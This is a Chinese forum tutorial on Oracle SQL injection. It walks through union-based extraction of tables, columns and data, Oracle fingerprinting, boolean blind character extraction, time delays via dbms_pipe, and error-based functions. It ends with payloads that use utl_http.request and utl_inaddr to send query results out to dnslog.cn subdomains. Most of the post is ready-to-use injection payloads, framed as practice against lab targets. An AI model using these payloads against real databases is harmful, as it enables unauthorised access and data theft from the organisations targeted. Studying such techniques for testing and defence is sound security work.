联合查询的字段数必须和前面的查询语句字段数一致
select id,username,password from admin union select 1,'admin' from dual (X)
联合查询的字段类型也必须和前面的查询语句字段类型一致
select id,username,password from admin union select 1,2,3 from dual (X)
联合查询的语句中必须要有表名
select id,username,password from admin union select 1,'admin','admin' (X)
正确的联合查询方法
select id,username,password from admin union select 1,'admin','admin' from dual (√)
注意:oracle中包裹字符串用''
不要用""
select * from all_tables 查询出所有的表
关键字段:
OWNER,用户(表的拥有者),不同的用户下会有不同的表
TABLE_NAME,表名
select * from all_tab_columns 查询出所有的字段
关键字段:
OWNER,用户(表的拥有者),不同的用户下会有不同的表
TABLE_NAME,表名
COLUMN_NAME,字段名
下面两个都是查询当前用户的表和字段的,所以没有OWNER字段,另外两个字段是有的
其实用的话都用查字段的表就好了,因为查字段的表里面存储了表名和字段
在Oracle中有一个比较特殊的存在,它就是rownum,它是一个伪列,它并不存储在任何表中,而是在当我们执行了查询语句之后,它就会出现,对查出来的数据进行编号,将它做为一个判断规则时,它是不支持用>
号的,只能是=1
或者<n
示例如下
SELECT * FROM user WHERE rownum = 1; -- 没问题
SELECT * FROM user WHERE rownum = 2; -- 有问题
SELECT * FROM user WHERE rownum < 2; -- 没问题
SELECT * FROM user WHERE rownum > 2; -- 有问题
那如果我们就是想对他用>
呢,那么也有办法,用子查询给rownum取个别名,然后外面的查询语句,再使用别名调用rownum的值就好了
例如这里有5条数据我要取后三条数据
SELECT * FROM (SELECT rownum rn,DEPT.* FROM DEPT WHERE rownum < 6)r WHERE rn > 2;
通过版本号判断,and (select count(*) from v$version) > 0
通过特有的表判断,and (select count(*) from user_tables) > 0
,用dual
来进行测试也行
通过特有的函数判断,and bitand(1,1)=1
查询当前用户
select user from dual
查询数据库文件存储位置
select name from V$DATAFILE
查询数据库版本
-- 占个行
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
-- 这个视图需要权限才能查询,所以也可以用它来判断当前用户权限
select version from v$instance
查询当前用户权限
-- 这个可以查询当前用户可以进行哪些操作,例如CREATE SESSION,CREATE PROCEDURE等
select privilege from session_privs
查询主机IP
-- 查询的是内网IP
select utl_inaddr.get_host_address from dual
查询当前库名,两个都可以用,都可以试一试
SELECT global_name FROM global_name;
SELECT SYS.DATABASE_NAME FROM DUAL;
查询JAVA权限,这个权限是指用户可以调用哪些JAVA类
-- 查询所有用户JAVA权限,需要有DBA权限
select * from DBA_JAVA_POLICY;
-- 查看当前用户的JAVA权限
select * from user_java_policy
查看对象( JAVA类(JAVA SOURCE),存储过程(PROCEDURE),函数(FUNCTION))
-- 查看当前用户创建的对象,常看的就是
select * from user_objects
-- 查看所有用户创建的对象
select * from all_objects
-- 查看已经加载的对象
SELECT * FROM ALL_OBJECTS WHERE OBJECT_TYPE IN ('FUNCTION','PROCEDURE','PACKAGE') order by object_id desc;
查看当前角色权限
select granted_role from user_role_privs
查看指定包源码
select TEXT FROM all_source WHERE NAME='包名'
测字段数 -> 找显错位-> 拿表名 -> 拿字段名 -> 拿数据
再Mysql中可能要查其他数据库的数据,那么再开头还会有一个拿库名的过程,在Oracle中是拿用户名
先测试字段数,有两种办法
from dual
找显错位
上面我们已经知道了是4个字段,然后就可以先写上4个null进行占位union select null,null,null,null from dual
,然后逐个替换数据的类型进行测试,常见的数据类型其实就那么几个(数值,字符串,时间)
这里第一位写的字符'a'
,它爆了一个expression must have same datatype as corresponding expression
的错误,这表示字段的类型不对,那么就不是字符型了
然后换成1
,它没报错,说明第一个字段类型是数值型
下面测试第二个字段,还是和上面一样,先写字符'a'
,这时候注意它的报错,已经和刚才的报错是不一样了,这里的报错是字符集不匹配,那么解决方法就是把我们输入的内容转换为匹配的字符集
这里就得提到to_char()
,to_nchar()
两个函数了,我们可以尝试用这两个函数去对'a'
进行转换,哪个没报错,那么就用哪个,这里用的是to_nchar()
union select,to_nchar('a'),null,null from dual
并且也已经回显了字符a,那么就没必要再测下面的字段类型了,我们用它就好了,如果有字段是时间类型的话可以用to_date()
函数,不过我认为如果是时间类型的话,哪怕回显了也利用不了
获取表名
利用oracle的user_tab_columns这个自带表进行查询就好了,这里主要的问题在于如何获取其他表名
union selec 1,to_nchar(table_name),null,null from user_tab_columns
union selec 1,to_nchar(table_name),null,null from user_tab_columns where table_name<>'ADMIN'
and table_name <> 'MD5'
,以此类推not in
关键字,只需要把要排除的表名直接写进去就好了union selec 1,to_nchar(table_name),null,null from user_tab_columns where table_name not in('ADMIN','MD5')
查字段名
利用user_tab_columns中的column_name字段就好了,获取其他字段名的方法还是用上面的办法,别忘了限制查哪个表的字段,不然你拿的是谁的字段都不知道
union select null,to_nchar(column_name),null,null from user_tab_columns where table_name='ADMIN'
查数据union selec 1,to_nchar(UNAME),null,null from ADMIN
这里就查刚才获取的UNAME
字段的数据吧
示例如下
-- 我们先查出第一个字符是什么,所以写1=,然后S这个位置就是可以用来枚举字符的位置了,这里面有两个S,但是它只会返回第一个匹配到S的位置
select * from dual where 1=instr('SYSTEM','S')
-- 我们查第二个字符,就改成2=,并且写上第三个参数为2,让他从第2个字符开始查
select * from dual where 2=instr('SYSTEM','Y',2)
-- 第三个,以此类推
select * from dual where 3=instr('SYSTEM','Y',3)
...........
这里就以表名为例,注意我在where后面写了rownum=1,因为查出多条数据会报错的
先利用length(),测出表名的长度and length((select table_name from user_tables where rownum=1))=1
表名长度为5
然后利用instr()获取表名and 1=instr((select table_name from user_tables where rownum=1),'a',1)
,图片中我没有写1,因为默认就是1开始
跑出来第一个字符是A
跑后面的字符就按instr中说的示例改就好了
这个相比使用instr()要写的参数更多,写的时候细心一点
-- 匹配成功返回1,1=1就会为真,匹配失败返回0,就会为假
1=decode(substr((select table_name from user_tables where rownum=1),1,1),'a',1,0)
-- 要查询第二个字符的话,将substr的第二个参数改为2就好了,后面的以此类推
1=decode(substr((select table_name from user_tables where rownum=1),2,1),'a',1,0)
-- 爆破的位置为decode的第二个参数,详情见图片中设置的枚举位置
-- 如果想枚举ascii码,可以在substr的外面用ascii()函数进行转换就好了
1=decode(ascii(substr((select table_name from user_tables where rownum=1),2,1)),98,1,0)
and 1=decode(substr((select table_name from user_tables where rownum=1),1,1),'a',1,0)
这里跑出来第一个字符是A
dbms_pipe.receive_message('任意字符',延迟时间)
(select count(*) from all_objects)
,利用查询大量数据来达到一个延时的效果
执行了(select count(*) from all_objects)的语句查询结果用时0.555秒
而没有执行的查询用时才0.053秒
报错函数
1=utl_inaddr.get_host_name((查询语句))
靶场不支持使用这个函数,所以在数据库里面测试了,可以使用,||
符号在oracle中的作用是拼接字符串,我这里往user的左右两边拼接了一个-
更方便区分
1=ctxsys.drithsx.sn(1,(查询语句))
(select upper(XMLType(chr(60)||chr(58)||(查询语句)||chr(62))) from dual) is not null
那几个chr()函数被我用转换后的字符给替换了
(select dbms_xdb_version.checkin((查询语句)) from dual) is not null
and (select dbms_xdb_version.makeversioned((查询语句)) from dual) is not null
and (select dbms_xdb_version.uncheckout((查询语句)) from dual) is not null
and (SELECT dbms_utility.sqlid_to_sqlhash((查询语句)) from dual) is not null
ORACLE不支持堆叠注入
select * from dual where (select utl_http.request(查询的字段||'.lcq2u0.dnslog.cn') from dual) is not null
and (select utl_inaddr.get_host_address(查询的字段||'.tmpgak.dnslog.cn') from dual)is not null
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 30.00 | 0 | 2021-12-24 15:03:48 | 活动奖励 |
Track-劲夫 | 60.00 | 0 | 2021-12-24 15:03:15 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
oracle注入之基础注入.zip File Size:0.005M (Download Count:6)
© 2016 - 2024 掌控者 All Rights Reserved.